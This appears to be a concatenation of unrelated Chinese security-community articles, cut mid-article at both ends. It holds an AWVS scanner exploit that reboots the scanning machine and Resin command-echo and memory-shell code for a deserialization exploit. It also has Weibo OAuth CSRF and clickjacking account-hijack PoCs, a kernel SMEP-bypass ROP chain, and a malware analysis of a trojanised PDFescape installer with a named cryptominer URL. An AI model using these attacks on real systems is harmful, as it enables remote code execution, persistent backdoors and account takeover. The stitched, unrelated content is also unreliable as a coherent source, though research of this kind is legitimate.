xmlhttp.open("POST","http://127.0.0.1:8183/api/addScan",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("RequestValidated","true");
xmlhttp.send(exp);
</script>
当扫描器扫描我们的网站时，浏览器会向其本地的接口发送请求添加一个立刻执行的扫描任务，然后触发漏洞执行shutdown –r –t 0，让对方机器重启。
随后我使用awvs扫描目标网站，机器被成功重启。当然，想给攻击者种个马也是可以的=。=
**视频演示：**
**后记：**
在和小伙伴的讨论研究中，我们发现这个漏洞不仅仅是AWVS 10 存在，AWVS 9中也同样存在，不过监听的端口变成了8182，感兴趣的同学可以研究一下。
**感谢洪宇师傅@redrain的纠正，由于awvs 9的command line下没有/run参数，所以awvs 9不受影响。** | 社区文章 |
# Resin回显及内存马
## 回显
回显的通用思路是通过反射获取当前 `request` 对象来实现的，这个 `request` 一般是存储在当前线程对象中。`resin`
比较简单，就直接存储在线程对象的 `threadLocals` 属性的表里：
所以实现回显只需通过反射获取当前线程的 `threadLocals` 属性，然后遍历内容取出
`com.caucho.server.http.HttpRequest` 对象，之后在 `Response` 里写内容即可。
没啥好说的，前人已有代码总结：
try {
// Thread.currentThread().getClass() 是 com.caucho.env.thread2.ResinThread2
Field f = Thread.currentThread().getClass().getSuperclass().getDeclaredField("threadLocals");
f.setAccessible(true);
Object obj = f.get(Thread.currentThread());
f = obj.getClass().getDeclaredField("table");
f.setAccessible(true);
obj = f.get(obj);
Object[] obj_arr = (Object[]) obj;
for(int i = 0; i < obj_arr.length; i++) {
Object o = obj_arr[i];
if (o == null) continue;
f = o.getClass().getDeclaredField("value");
f.setAccessible(true);
obj = f.get(o);
if(obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")){
com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)obj;
String cmd = httpRequest.getHeader("cmd");
if(cmd != null && !cmd.isEmpty()){
String resp = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
.useDelimiter("\\A").next();
com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
httpResponse.setHeader("Content-Length", resp.length() + "");
java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", null);
method.setAccessible(true);
com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse,null);
httpResponseStream.write(resp.getBytes(), 0, resp.length());
httpResponseStream.close();
}
break;
}
}
} catch (Exception e) {
}
还有一种方法也是常见的回显方式之一，就是有些中间件会把当前 `request` 对象存储在静态变量或者特定类里，可以通过反射获取该静态变量或特定类，然后获取
`request` 对象，在 `resin` 中，可以通过 `com.caucho.network.listen.TcpSocketLink` 类获得
该类有个 `getCurrentRequest` 方法,可以获得当前 `request`
有现成的代码
Class tcpsocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.listen.TcpSocketLink");
Method getCurrentRequestM = tcpsocketLinkClazz.getMethod("getCurrentRequest");
Object currentRequest = getCurrentRequestM.invoke(null);
Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade");
f.setAccessible(true);
Object response = f.get(currentRequest);
Method getWriterM = response.getClass().getMethod("getWriter");
Writer w = (Writer) getWriterM.invoke(response);
w.write("powered by potatso");
类似的类还有 `com.caucho.server.dispatch..ServletInvocation` 等等
## 内存马
对于 `servlet` 类型来说，有大概动态注册 `servlet`、`filter`、`listener` 几种方式。这里以 `servlet` 为例。
无论是动态注册 `servlet`、`filter` 还是
`listener`，都要先获取到当前请求的上下文环境或者他的继承类，因为在其中存在的动态增加的方法：
一般可以通过 `javax.servlet.ServletRequest.getServletContext()`
获得。本来想着能直接复用上面回显的代码，结果发现之前取得的 `Request` 是
`com.caucho.server.http.HttpRequest`，且并没有 `getServletContext` 方法，只能重新找。
调试发现常规请求会经过 `com.caucho.server.dispatch.ServletInvocation`:
且其 `getContextRequest` 方法能够获得 `ServletRequest`
那么获得 `ServletContext` 的过程就明明白白了。
接下来查找动态注册 `servlet` 的类，懒得看文档，先正常配置 `web.xml`，注册 `servlet`，断点查看是哪个类在添加
`servlet`：
可以看到是 `com.caucho.server.webapp.WebApp` 类的 `addServlet` 方法，而且 `WebApp` 还是继承
`ServletContext`，那么这一套流程就完全走通了。
按照上述方法获得 `ServletContext`，然后强制转换成 `com.caucho.server.webapp.WebApp` 之后调用其
`addServlet` 方法即可：
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch" +
".ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest ) getContextRequest.invoke(null);
com.caucho.server.webapp.WebApp web = (com.caucho.server.webapp.WebApp) contextRequest
.getServletContext();
com.caucho.server.dispatch.ServletConfigImpl sci = new com.caucho.server.dispatch.ServletConfigImpl();
sci.setServletClass("servlet.exp");
sci.setServletName("exp");
web.addServlet(sci);
最后成功动态注册 `Servlet`:
接下来的问题就是给 `Servlet` 添加路由匹配，还是正常流程走一遍，发现是在
`com.caucho.server.dispatch.ServletMapping` 中添加路由：
且 `ServletMapping` 还是继承了 `ServletConfigImpl`，所以路由和类名就可以对应了，高兴地改了下代码：
com.caucho.server.dispatch.ServletMapping sci = new com.caucho.server.dispatch.ServletMapping();
sci.setServletClass("servlet.exp");
sci.setServletName("exp");
web.addServlet(sci);
可惜没有成功，再次查看，发现了 `ServletMapper` 类
原来 `ServletMapper` 类才是存储路由的类，得 `ServletMapper` 和 `ServletMapping` 关联才行，查看
`ServletMapping` 代码，发现有个 `init` 方法是改变 `ServletMapper` 对象内容的：
而在 `WebApp` 中有个 `addServletMapping` 刚好调用了这个 `init` 方法：
所以更改上述代码：
com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();
smapping.setServletClass("servlet.exp");
smapping.setServletName("exp");
smapping.addURLPattern("/exp");
web.addServletMapping(smapping);
成功动态注册 `Servlet`：
`filter`、`listener` 也是相似的原理，其中 `listener` 更简单些，因为不需要路由。
## 实战
前段时间某oa的 `Xstream反序列化` 漏洞可以拿来练手,
正常利用可以直接通过 `ysoserial` 的 `CommonsBeanutils1` 链
要回显或者内存马就需要修改 `CommonsBeanutils1` 链。
回显关键代码：
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch" +
".ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl )
getContextRequest.invoke(null);
try{
if (req.getHeader("cmd") != null) {
String cmd = req.getHeader("cmd");
javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();
PrintWriter out = rep.getWriter();
out.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
.useDelimiter("\\A").next());
}
}catch (Exception e ){
e.printStackTrace();
}
内存马相关代码：
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch" +
".ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest ) getContextRequest.invoke(null);
Method getServletContext = javax.servlet.ServletRequest.class.getMethod("getServletContext");
Object web =getServletContext.invoke(contextRequest);
com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp ) web;
com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();
String s1="your class";
byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
m.setAccessible(true);
m.setAccessible(true);
m.invoke(ClassLoader.getSystemClassLoader(), new Object[]{"cb.servletExp", bytes1, 0, bytes1.length});
smapping.setServletClass("cb.servletExp");
smapping.setServletName("exp");
smapping.addURLPattern("/exp");
web1.addServletMapping(smapping); | 社区文章 |
# 网络邂逅“真爱”的概率有多大？看数据说话
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
“划一划，点一点”，指尖在小小的屏幕上来回滑动，尽情获取来自全世界各地的信息。然而，各种诈骗手段也如雪花般纷至沓来，防不胜防。没有数据的分析都是纸上谈兵，一起来看一看这份《指尖上的防骗》吧，多角度全方位丰富数据，反诈不是梦！
## 一、交友、虚假兼职、金融理财——手机诈骗三大高发类型
不论是从举报数量合适涉案金额统计来看，交友、虚假兼职、金融理财都是高危榜单前三名。
## 二、男女人均损失基本持平，但男性更容易上当
## 三、骗子爱扎堆
广东省、北京市接到的手机诈骗举报最多
（一）诈骗举报省级排名
（二）诈骗举报市级排名
## 四、恶意程序、钓鱼网站、骚扰电话、垃圾短信——诈骗界“四大天王”
（一）恶意程序新增样本数据
平均每天截获新增手机恶意程序样本约2.3万个，8月份最多
（二）钓鱼网站新增数据
8月份钓鱼网站新增量显著高于7月和9月
（三）第三季度骚扰电话各月拦截次数
8月份相较7月份拦截次数有显著增加，9月份与8月份基本持平
（四）垃圾短信类型分布
绝大多数垃圾短信为广告推销，我们选择无视就好 | 社区文章 |
因为加密货币价值不断增长，加密货币挖矿成为一种趋势，网络犯罪分子也抓住了这一机会。使用许多技巧来感染受害者机器并利用受害者机器进行加密货币挖矿来获利。
Comodo研究人员最近发现一起感染用户进行加密货币挖矿的恶意活动。为了感染全球范围内的受害者，攻击者使用合法的应用安装器和备份服务器等。
下图是一个PDFescape软件，许多用户用它来在pdf文件中编辑、添加注释和填表。
正常来看，这是一个合法和“安全”的软件，至少在网络犯罪分子使用它来传播恶意软件之前还是安全的。
有趣的是恶意黑客并不是只假装PDFescape软件，黑客创建了一个恶意克隆版的PDFescape。
攻击者在控制的服务器上重新创建了软件合作者的基础设施。然后他们复制了所有MSI文件（Windows安装程序包文件），并放置在新创建的服务器上。克隆的软件是原始软件的一个复制品，但有一个小细节做了修改：攻击者反编译并修改了一个MSI文件——一个亚洲的字体包。然后加入了含有加密货币挖矿代码的恶意payload。
攻击者将PDFescape的原始安装器变成了一个恶意版。
修改后的安装器会将用户重定向到恶意网址，并下载含有隐藏文件的payload。
从中可以看出，修改后的安装器没有原来的数字签名。
# 动态分析
当受害者下载`pdfescape-desktop-Asian-and-extended-font-pack`后，恶意二进制文件`xbox-service.exe`就会用`run32dll`在Windows
`system32`文件夹中释放并执行恶意DLL。伪装成`setup.log`，恶意DLL隐藏在Windows文件夹中。
下面是过程流：
`pdfescape-desktop-Asian-and-extended-font-pack.msi`会通过下面的命令进行安装：
“C:\\Windows\System32\msiexec.exe” /i
然后安装器会在system32文件夹中释放`xbox-service.exe`。
释放的`xbox-service.exe`会以`xboxservice`服务的形式工作。
然后，在rundll32下以`setup.log`名运行恶意DLL，使用的命令为：
rundll32 C:\Windows\System32\setup.log.dll
# 静态分析
修改后的MSI文件会嵌入恶意DLL文件。DLL在Resources中含有两个可执行文件。
这样，DLL文件就会运行恶意进程`xbox-service.exe`。
DLL payload在安装过程中还会尝试修改Windows
`HOSTS`文件来防止受感染的机器与PDF相关的应用的更新服务器和安全软件进行通信。恶意软件还会尝试避免远程清除和修复受感染的机器。
用恶意DLL修改的HOSTS文件：
最后，在DLL中，研究人员发现了恶意行为的来源：恶意浏览器脚本。该脚本有一个指向<http://carma666.byethost12.com/32.html>
的嵌入的链接。
链接指向：
从上图可以看出，链接会下载CoinHive的JS脚本。
Comodo统计数据显示，共有100个国家的12810个用户受到恶意文件的感染。下图是受感染最多的前10个国家。
本文翻译自：<https://blog.comodo.com/pc-security/cryptomining-executed-through-legitimate-software/> | 社区文章 |
# 通用性业务逻辑组合拳劫持你的权限
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 作者: 启明星辰(江苏)-Vulkey_Chen 米斯特安全攻防实验室
## 前言
这是一个理论上通杀很多大型企业网站的漏洞缺陷~
可能很多朋友点击来看见标题就觉得，这家伙在吹牛逼了我倒要看看这货能怎么吹,CSRF之登陆我的账号能有啥玩意危害？
先按奈住你心中不屑的情绪，听我慢慢道来~
## 通用业务功能分析
最近很喜欢挖一些通用漏洞（不是程序通用，而是功能通用），会经常拿着BAT三家以及其他一些大型网站进行业务功能点的对比，来看看有哪些是共用的功能点，这边列出以下的几条：
1. QQ快捷登陆
2. 微信快捷登陆
3. 微博快捷登陆
4. 其他……
OAuth2.0认证缺陷-快捷登陆账号劫持的问题具体可以参考：<http://gh0st.cn/archives/2018-02-12/1> （
**来自i春秋社区** ）
这种问题其实需要一定的运气因为很多的快捷登陆有state参数的干扰，所以是完全没办法去利用的。
在这里我尝试能不能挖到一个新的缺陷，在走正常的快捷登陆流程时我发现需要绑定这个网站的账号才可以正常的使用用户的功能，这时候反着想网站的用户中心是否有第三方的账号绑定？
这里找了大部分的网站都有这样的功能（第三方账号绑定，绑定了即可使用第三方账号直接登陆），找到了这个功能点就可以来测试，先走一遍正常的绑定流程：
* 点击绑定第三方账号
* 进入第三方账号绑定页面
* （如果第三方账号是登陆状态）->需要点击授权按钮；(如果第三方账号是未登陆状态)->需要输入第三方的账号密码登陆->点击授权按钮
## 设立猜想
梳理了流程之后，一个很骚的思路就从脑子里蹦了出来：
有第三方账号绑定这个功能，登陆处也有第三方账号登陆功能，也就是说绑定第三方账号代表着权限分享给了第三方账号。
猜想建立->如果我有第三方账号所在网站的`CSRF之你登陆我的账号`缺陷，让受害者先登陆我的第三方账号（为了避免损失，我可以注册一个小号），然后绑定处也有CSRF绑定的缺陷或者点击劫持问题，那么我就可以让受害者绑定我的第三方账号，然后根据我的第三方账号来登陆受害者的账号，劫持到其权限。
## 验证猜想
### 流程
个人中心有这个第三方的账号绑定：
在这里QQ、github、微博、微信四个第三方账号绑定中我有了微博的`CSRF之你登陆我的账号`这个缺陷，所以这里测试下微博的第三方账号绑定。
页面有微博账号绑定的跳转链接：
通过这个链接进入了绑定的界面（未登陆微博）：
通过这个链接进入了绑定的界面（已登陆微博）：
当我授权绑定之后，微博发生了变化，管理中心->我的应用->我的应用：
会多出这个网站在里面，那么这个变化是对我们有利的，还是？
这里我解绑了微博，然后再使用这个已经授权了的微博进行绑定，发现居然不用点击授权了，直接就绑定了。
很显然，在这里这个`便利`解决了一些攻击的利用难度。
### 实现
我们现在具备的几个条件：
1. 微博的`CSRF之你登陆我的账号`缺陷：
登陆你的微博，然后访问[http://login.sina.com.cn/sso/crossdomain.php?action=login，会返回这样的内容给你：](http://login.sina.com.cn/sso/crossdomain.php?action=login%EF%BC%8C%E4%BC%9A%E8%BF%94%E5%9B%9E%E8%BF%99%E6%A0%B7%E7%9A%84%E5%86%85%E5%AE%B9%E7%BB%99%E4%BD%A0%EF%BC%9A)
其中arrURL对应的链接就是凭证登陆的~
1. 你的微博已经授权过了要存在缺陷的网站(这里方便直接跳转而不用再去点击按钮！所以你可以先用自己的微博绑定下存在缺陷的网站的账号，然后解绑就行了~)
2. 绑定请求存在csrf的缺陷（这里因为是GET请求类型 `/oauth/weibo/redirect`，而一般不会对GET请求类型进行CSRF的限制~~）
### 场景1.攻击步骤
对方点开凭证链接登陆了你的微博，对方点开绑定微博的链接，绑定了你的微博，完成攻击。
考虑到凭证时效性的问题，在这里写了一个动态的PoC：
<?php
//get weibo login token
$curl = curl_init();
$cookie = "你微博的Cookie";
curl_setopt($curl, CURLOPT_URL, 'http://login.sina.com.cn/sso/crossdomain.php?action=login');
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_COOKIE, $cookie);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($curl);
curl_close($curl);
//echo $data;
$t = preg_match('/ticket=(.*?)&sso/', $data, $res);
$url = "https://passport.weibo.com/wbsso/login?ticket={$res[1]}&ssosavestate=1556602678";
?>
<html>
<head>
<style type="text/css">
.testframe {
height: 100%;
}
iframe {
height: 100%;
width: 100%;
border: 0;
margin: 0;
padding: 0;
/*控制不透明度的属性，兼容各大浏览器*/
filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/
-moz-opacity: 0; /*提供给火狐浏览器的*/
-webkit-opacity: 0; /*提供给webkit内核的*/
-khtml-opacity: 0; /*提供给KHTML内核的*/
-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/
opacity: 0;
/*控制不透明度的属性，兼容各大浏览器*/
}
</style>
</head>
<body>
<div class="testframe">
<iframe id="test0" src="<?php echo $url;?>"></iframe>
</div>
<script>
function loadsrc(){
document.getElementById("test0").src="https://gh0st.cn/oauth/weibo/redirect";
}
setTimeout("loadsrc()",2000);
</script>
</body>
</html>
### 场景2.攻击步骤
有些网站可能是post请求限制了referer或者根本没有跳转的请求而是直接进入了微博的绑定界面，因为state参数的原因导致根本无法以这个绑定页面为链接的形式去做攻击~
可能有很多朋友就有疑问了，为什么我老是提到state参数？这个参数是干什么用的呢？这里参考下微博的OAuth2.0接口的开发文档：
<http://open.weibo.com/wiki/Oauth2/authorize>
是防止CSRF的，也就是说在这里如果绑定的链接是如下这样子的：
没有state参数验证的，那么你可以直接以此作为绑定链接， **覆盖场景1中PoC里面的这个链接**
:`https://gh0st.cn/oauth/weibo/redirect`
好了，说了那么多跟场景2没用的话，切入主题来说说场景2的情况到底该如何完成攻击？
很简单我们可以使用点击劫持来完成攻击，如下动态的PoC：
<?php
//get weibo login token
$curl = curl_init();
$cookie = "你微博的Cookie";
curl_setopt($curl, CURLOPT_URL, 'http://login.sina.com.cn/sso/crossdomain.php?action=login');
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_COOKIE, $cookie);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($curl);
curl_close($curl);
//echo $data;
$t = preg_match('/ticket=(.*?)&sso/', $data, $res);
$url = "https://passport.weibo.com/wbsso/login?ticket={$res[1]}&ssosavestate=1556602678";
?>
<html>
<head>
<style type="text/css">
.testframe {
height: 100%;
}
iframe {
height: 100%;
width: 100%;
border: 0;
margin: 0;
padding: 0;
/*控制不透明度的属性，兼容各大浏览器*/
filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/
-moz-opacity: 0; /*提供给火狐浏览器的*/
-webkit-opacity: 0; /*提供给webkit内核的*/
-khtml-opacity: 0; /*提供给KHTML内核的*/
-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/
opacity: 0;
/*控制不透明度的属性，兼容各大浏览器*/
}
.btn {
position: fixed;
width: 70px;
height: 22px;
left: 167px;
right: 0;
display:block;
top: 295px;
}
</style>
</head>
<body>
<div class="testframe">
<input type="button" class="btn" value="Click">
<iframe id="test0" src="<?php echo $url;?>"></iframe>
</div>
<script>
function loadsrc(){
document.getElementById("test0").src="https://gh0st.cn/usercenter/ubind";
}
setTimeout("loadsrc()",2000);
</script>
</body>
</html>
简单的说明下这个PoC的用处：
## 总结
可能把每一项单独的拎出来会发现这并没有缺陷，但是一旦参与到了业务逻辑中，就一定会存在一定的问题。
不要忽略一个看似没危害的漏洞甚至一个缺陷，因为你永远不知道它能发挥的巨大危害。 | 社区文章 |
原文：<https://acru3l.github.io/2018/10/20/ropping-through-shady-corners/>
在这篇文章中，我将为读者详细介绍一种在Windows 10 x64系统上从用户空间向内核堆栈提供ROP链的方法，在本文中，我们称之为Shadow
ROP。在我看来，这种方法对Ring 0级别的漏洞利用非常有用，可以藉此控制执行流程。
几个星期前，我开始了解Ring 0级别的漏洞利用技术。据我所知，还有很多人像我一样，在这方面还很陌生，所以，我们将从Ring
0级别的漏洞利用方法的一些基础知识开始讲起；不过，我想大家对于ROP的概念可能都已经耳熟能详了。
**漏洞的类型**
* * *
对于Ring 0级别的漏洞而言，我们主要关注下列两种可利用的类型：允许攻击者在内核空间（Write-What-Where）中读取/写入任意数据的漏洞类型，以及允许攻击者控制内核空间中线程的执行流程(指令指针)的类型。我们的重点关注对象是后者，其中涉及堆栈缓冲区溢出、UAF漏洞等。当然，除此之外，肯定还存在其他类型的漏洞，但它们不在本文的讨论范围之内。
**缓解措施**
* * *
我们至少应该考虑三种漏洞利用缓解措施：内核地址空间布局随机化（KASLR）、管理员模式执行保护（SMEP）和内核数据执行保护（DEP），所有这些保护措施在Windows
10上都是默认启用的。实践证明，KASLR并没有多大作用，因为对于中等完整性级别的进程来说，可以通过多种方式来泄漏内核和驱动程序的基址。而SMEP则是一个更强大的安全防护技术。它可以防止攻击者直接跳转到完全处于攻击者控制之下的用户空间地址。此外，由于内核DEP保护措施的存在，内核空间中使用的大多数数据都是不可执行的。
我们绕过SMEP的一般策略是，在跳转到用户空间中的shellcode之前，设法禁用该缓解措施。
**ROP应运而生**
* * *
面向返回编程( ROP
)是一种流行的技术，它是ret2libc的继承者，是专门用来绕过DEP保护措施的。由于内核映像足够大，所以，我们总能找到合适的gadget，并且，如果我们知道内核的基址的话，则可以翻转CR4寄存器的第21位来禁用SMEP，这样就可以轻松地构建ROP链了。其实，这种ROP链一点也不复杂，具体见下面的Python代码。
chain += struct.pack('<Q', kernel_base + 0x597b) # pop rcx; ret;
chain += struct.pack('<Q', 0x506f8) # rcx
chain += struct.pack('<Q', kernel_base + 0x108552) # mov cr4, rcx; ret;
chain += struct.pack('<Q', shellcode_addr)
这里的问题是，如何将ROP链传递给内核空间，以及如何使堆栈指针RSP指向ROP链，以使其能够正常使用。当然，这些问题都不是什么难题，例如，在简单的堆栈缓冲区溢出漏洞情形中，由于我们的数据将被复制到堆栈缓冲区中，所以，我们可以轻松搞定这些事情；但在其他情况下，如UAF漏洞情形中，事情就没有这么简单了。
**影子空间**
* * *
接下来，让我们来了解一下Windows
x64平台下的调用约定。根据[维基百科](https://en.wikipedia.org/wiki/X86_calling_conventions#Microsoft_x64_calling_convention
"维基百科")：
在Microsoft x64平台下的调用约定中，调用者负责在调用函数之前在堆栈上分配32个字节的“影子空间”（不管实际使用的参数数量是多少），并在调用后将其弹出堆栈。该影子空间用于存放RCX、RDX、R8和R9寄存器的值，[16]同时，必须对所有函数可用，即使是参数少于四个的函数，也是如此。
重点在于，对于每个函数调用，都会为被调用函数创建0x20字节的空间（即"影子空间"），无论被调用函数实际上是否会耗尽分配的所有影子空间（调用者并不关心）。如果仅使用了部分影子空间的话，则剩余部分将保持未初始化状态。
**堆栈喷射**
* * *
2011年，[j00ru](https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/
"j00ru")发明了一种非常强大的技术，即使用nt!NtMapUserPhysicalPages进行堆栈喷射。使用这种技术，我们至少可以在内核堆栈上喷射0x2000字节的任意数据。这意味着，只要影子空间位于喷射范围内，我们就可以将任意数据植入影子空间的未初始化部分。
**影子ROP**
* * *
实际上，影子ROP的理论非常简单。我们将ROP链的各个片段放入影子空间的未初始化部分，然后将各个片段链接起来，从而达到我们的目标：就本文来说，就是禁用SMEP，并跳转到shellcode。
需要注意的是，千万不要在使用nt!NtMapUserPhysicalPages进行喷射与触发漏洞这段时间内调用任何系统调用，因为这有可能会破坏喷射到内核堆栈上的数据和我们的ROP链。如果我们使用诸如Python之类的脚本语言来进行漏洞利用的话，这可能会很棘手，因为它们会在底层调用系统调用，例如访问堆的时候，而这会破坏ROP链，从而破坏我们的漏洞利用过程。
**PoC**
* * *
为了便于读者进行理解，这里将以[HackSysTeam](https://twitter.com/HackSysTeam
"HackSysTeam")出品的[HEVD
v2.00](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/TypeConfusion.c
"HEVD
v2.00")中的一个类型混淆漏洞的利用过程为例进行演示。之所以选择这个漏洞，是因为它是HEVD实现的最简单的漏洞之一，当然，这里介绍的技术也适用于HEVD中的其他漏洞。其实，这个漏洞的利用方法非常简单，只需通过DeviceIoControl调用用户提供的函数指针即可(当然，着要借助于类型混淆漏洞)。就这里来说，虽然控制指令指针非常容易，但是，它却没有为我们提供直接将有效载荷复制到内核池的内核堆栈的方法。这时候，我们的方法就派上用场了。
我们的攻击计划是:
NtMapUserPhysicalPages (喷射) -> DeviceIoControl (触发) -> ROP (pwn)
首先，让我们喷射下面用Metasploit生成的0x2000字节的模版，并尝试触发该漏洞，看看会出现什么情况。
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw